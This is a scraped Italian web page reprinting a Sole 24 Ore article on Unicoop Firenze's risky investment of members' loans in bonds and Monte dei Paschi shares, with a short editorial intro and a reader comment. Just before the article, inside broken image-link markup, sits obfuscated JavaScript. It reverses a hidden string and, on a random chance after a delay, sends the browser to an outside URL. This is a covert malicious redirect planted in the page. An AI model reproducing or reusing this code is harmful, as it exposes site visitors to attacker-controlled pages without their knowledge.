I conti pericolosi di UniCoop Firenze tra Lehman Brothers e Merril Lynch e il silenzio di Campaini

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2013/02/campaini_valori.jpg”>La domanda è perché una società cooperativa come Unicoop Firenze che gestisce supermercati e si occupa della vendita di generi alimentari e di consumo impiega il risparmio dei soci, tra cui quello di molti anziani pensionati, in pericolose attività finanziarie che nulla hanno a che fare con l’oggetto sociale della Coop. Se lo chiede Giuseppe Oddo, giornalista del Sole24Ore in questo articolo intitolato “Le partite incrociate con Unicoop Firenze” che rilanciamo.

In attesa di una pubblica risposta di Turiddo Campaini, presidente di Unicoop Firenze e nel CdA del Monte dei Paschi per 10 anni. Presidentissimo, non ci faccia pensar male, renda conto di questa tremenda situazione ai soci ma anche ai toscani tutti, visto il peso che la sua cooperativa ha sull’economia della regione. (RC)

di Giuseppe Oddo per il Sole 24 Ore

Tutte le strade di Unicoop Firenze portano a Siena. Il colosso toscano della grande distribuzione organizzata non è solo un importante azionista del Monte dei Paschi, con il 2,7% del capitale, ma anche tra i suoi maggiori clienti. La sua finanza gira intorno a piazza Salimbeni. Sui suoi conti correnti presso il Monte convergono sia la maggior parte degli incassi dei supermercati – 2,4 miliardi di giro d’affari nel 2012, pari a oltre 7 milioni al giorno – sia il prestito sociale ovvero il denaro raccolto nel tempo tra i 250mila soci della cooperativa per finanziarne lo sviluppo. Le coop sono infatti, con le banche, le uniche imprese autorizzate alla sollecitazione del pubblico risparmio.

Il prestito sociale di Unicoop Firenze, che alimenta il conto n° 64.508 di Banca Monte dei Paschi, sfiora i 2,650 miliardi ed è investito in attività finanziarie, per lo più titoli e quote di fondi comuni d’investimento. Il conto presenta un saldo annuo nell’ordine di qualche milione.

Il 90% dei ricavi delle vendite transita invece per alcuni conti operativi del Monte, che presentano depositi nell’ordine di svariate decine di milioni e “pronti contro termine” che possono superare i 250 milioni. Il restante 10% confluisce su istituti come Banca di San Miniato e Carifirenze. Questo polmone di liquidità serve per pagare i fornitori entro 60 giorni dalla consegna della merce. È una massa imponente di denaro che fa di Unicoop Firenze, con i suoi quasi 8mila addetti, uno dei fulcri dell’economia del territorio oltre che uno strumento di potere e di consenso legato a filo doppio al Pd.

Al vertice della società, nel ruolo di presidente del consiglio di sorveglianza, siede da tempo immemorabile il settantaduenne Turiddo Campaini, il quale ha gestito la svolta finanziaria di Unicoop e dall’aprile 2003 ricopre la carica di amministratore del Monte dei Paschi. È stato Campaini a guidare l’ingresso di Unicoop Firenze nell’azionariato di Mps e ad opporsi nell’estate 2005 al tentativo di scalata di Unipol su Bnl che avrebbe posto la cooperazione toscana in condizioni di subalternità rispetto a quella emiliano-romagnola.

L’allora presidente di Unipol, Giovanni Consorte, forte del sostegno di Massimo D’Alema e Piero Fassino, aveva chiesto ai compagni-cugini senesi di associare il Monte all’Opa su Bnl, ma da Campaini e dal segretario dei Ds di Siena Franco Ceccuzzi, vicino a Walter Veltroni, venne un netto rifiuto. Contrario all’operazione fu anche Giuseppe Mussari, che ai tempi era il numero uno della Fondazione Mps e aveva dalla sua parte anche Giuliano Amato e Franco Bassanini.

L’investimento in Mps sembrava promettere un futuro radioso ad Unicoop ed al suo presidente, ma a distanza di quasi otto anni dal fallito takeover a Bnl i risultati sono tutt’altro che brillanti. La minusvalenza latente su quel 2,7% di azioni detenute da Unicoop supera i 400 milioni e il prevalere delle logiche finanziarie nella gestione del prestito sociale ha portato la società all’acquisto di titoli azionari e obbligazionari che incorporano quote più o meno alte di rischio.

Accanto a centinaia di milioni impiegati in bond sovrani come Bot, Cct e BTp, ve ne sono altri investiti in titoli a lunga e a lunghissima scadenza, acquistati prima del crollo dei mercati finanziari, che potrebbero rivelarsi illiquidi o comunque di difficile realizzo. A parte i 30 milioni di obbligazioni Fresh emesse da Bank of New York, convertibili in azioni Mps, di cui abbiamo già scritto (Il Sole-24 Ore del 15 febbraio 2013), c’è un elenco di titoli in scadenza nel 2017, nel 2018, nel 2019, nel 2020 e nel 2049 i cui valori di carico andrebbero analizzati con attenzione e adeguati a quelli di mercato. Tra questi ricorrono emissioni di Lehman Brothers, Merril Lynch, Royal Bank of Scotland, Banco Sabadell, Banca Italease, Banca Carige, Banca delle Marche, UniCredit, Intesa Sanpaolo, Bpu, titoli strutturati, covered bonds e altri prodotti dal profilo di rischio elevato. Per non parlare dei:

– 7,5 milioni di Spoleto float in scadenza il 7/12/2015;

– 7,5 milioni di Ibercaja in scadenza il 25/4/2019,

– 24 milioni di Italy Var in scadenza il 15/6/2020,

– 5 milioni di HT1 Funding in scadenza il 30/6/2049,

– 5,3 milioni di Caixa Galica in scadenza il 20/6/2049,

– 2,5 milioni di Nordea Bank in scadenza il 17/9/2049.

L’elenco sarebe troppo lungo da pubblicare. La domanda è perché una società cooperativa come Unicoop Firenze che gestisce supermercati e si occupa della vendita di generi alimentari e di consumo impiega il risparmio dei soci, tra cui quello di molti anziani pensionati, in attività di questa natura. Lo scopo del prestito sociale era di consentire alle cooperative (che non possono emettere bond e operare come una società di capitale) di avere un proprio canale di finanziamento, indebitandosi verso i soci. La finanziarizzazione snatura la funzione del prestito sociale, esponendo queste aziende a rischi che nulla hanno a che fare con il loro oggetto sociale.

0 Comments

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  2. Il grossetano

    Inoltre la minus su Mps non è’ di 400 milioni xke nel 2008 ha no svalutato oltre 180 milioni.
    In questo articolo il giornalista si allarga un po’ troppo..

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